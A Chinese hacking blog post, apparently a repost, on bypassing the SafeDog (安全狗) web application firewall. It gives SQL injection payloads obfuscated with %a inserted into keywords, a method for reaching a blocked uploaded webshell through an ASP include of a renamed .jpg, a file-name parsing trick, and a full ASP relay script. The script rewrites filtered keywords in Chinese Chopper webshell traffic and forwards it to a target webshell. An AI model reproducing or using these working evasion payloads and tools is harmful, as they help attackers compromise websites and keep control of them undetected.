zoukankan      html  css  js  c++  java
  • 突破安全狗的技术总汇

    过安全狗主要过哪几方面:

    1.过注入

    2.过大马被阻拦访问

    3.过菜刀连接一句话被拦截

    4.过1.asp;.jpg这样的文件

    其他我没遇到了。。

    现在一点一点讲:

    1.过注入

    方法一:a.asp?aaa=%00&id=sql语句

    方法二: a.asp?id=sql语句   里面把安全过滤的加个%l 比如: un%aion sel%aect 1,2,3,4 fr%aom admin

    2.过大马被阻拦访问

    方法一:上传一个大马 然后访问http://sss.com/dama.asp  访问后出现拦截。

    那么解决方法 先将dama.asp改名dama.jpg上传,然后在同目录上传个文件da.asp 内容为: <!--#include file="dama.jpg" -->  这样再访问da.asp  就不会被拦截了。

    3.过菜刀连接一句话被拦截

    方法一:不用菜刀连接一句话,用别的一句话连接端。

    方法二:中转下连接菜刀,把过滤掉的词替换掉。

    4.过1.asp;.jpg这样的文件拦截

    方法一:;1.asp;.jpg

    方法二:保密

    具体就为大家总结这么多了,安全狗 反正基本可以无视了!!

    大家还有什么要补充的可以发在下面!

    下面这个脚本是过安全狗连接菜刀用的 用法: 先把这个脚本放到个可执行.asp的目录

    然后访问http://www.hackqing.com/asf.asp?dz=你要过的那个webshell地址

    然后把地址输入进菜刀 密码还是你要过的那个webshell的密码 类型也是选择那个一句话木马的后缀类型

    例如:http://www.hackqing.com/asf.asp?dz=http://xxx.com/yijuhua.php 密码

    这样输入就菜刀

    这个脚本暂时支持.php .aspx的一句话连接  .asp的可能还不行 没测试过。如果谁有装了安全狗的webshell可以告诉我下。我再测试下把这个脚本修改全面都支持!

    <%
    '饶过的原理,抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字 就成!
    JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
    JmStr=Replace(JmStr,"->|","-->|")
    JmStr=Replace(JmStr,"@eval(","@eval   (")
    JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
    JMUrl=request("dz")
    response.write  request("dz")
    JmRef=JMUrl
    JmCok=""
    '作者: 鬼哥
    '菜刀突破安全狗连接!
    'www.hackqing.com
    response.write  PostData(JMUrl,JmStr,JmCok,JmRef)

    Function PostData(PostUrl,PostStr,PostCok,PostRef)
    Dim Http
    Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
    With Http
    .Open "POST",PostUrl,False
    .SetRequestHeader "Content-Length",Len(PostStr)
    .SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
    .SetRequestHeader "Referer",PostRef
    '.SetRequestHeader "Cookie",PostCok
    .Send PostStr
    PostData = .ResponseBody
    End With
    Set Http = Nothing
    PostData =bytes2BSTR(PostData)
    End Function

    Function bytes2BSTR(vIn)
    Dim strReturn
    Dim I, ThisCharCode, NextCharCode
    strReturn = ""
    For I = 1 To LenB(vIn)
    ThisCharCode = AscB(MidB(vIn, I, 1))
    If ThisCharCode < &H80 Then
    strReturn = strReturn & Chr(ThisCharCode)
    Else
    NextCharCode = AscB(MidB(vIn, I + 1, 1))
    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
    I = I + 1
    End If
    Next
    bytes2BSTR = strReturn
    End Function

    Function URLEncoding(vstrin)
    strReturn=""
    Dim i
    For i=1 To Len(vstrin)
    ThisChr=Mid(vstrin,i,1)
    if Abs(Asc(ThisChr))< &HFF Then
    strReturn=strReturn & ThisChr
    Else
    InnerCode=Asc(ThisChr)
    If InnerCode<0 Then
    InnerCode=InnerCode + &H10000
    End If
    Hight1=(InnerCode And &HFF00) \&HFF
    Low1=InnerCode And &HFF
    strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
    End if
    Next
    strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
    strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
    'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
    URLEncoding=strReturn
    End Function
    %>

  • 相关阅读:
    create-react-app
    简单的PHP的任务队列
    Yii框架中使用PHPExcel导出Excel文件
    Android 使用全局变量的问题
    Android 退出整个应用程序
    new DialogInterface.OnClickListener()报错的解决办法
    Yii 日期时间过滤列 filter
    Yii 时间戳格式化显示的问题
    PullToRefreshListView 应用讲解
    Android:Layout_weight的深刻理解
  • 原文地址:https://www.cnblogs.com/jydeng/p/4418471.html
Copyright © 2011-2022 走看看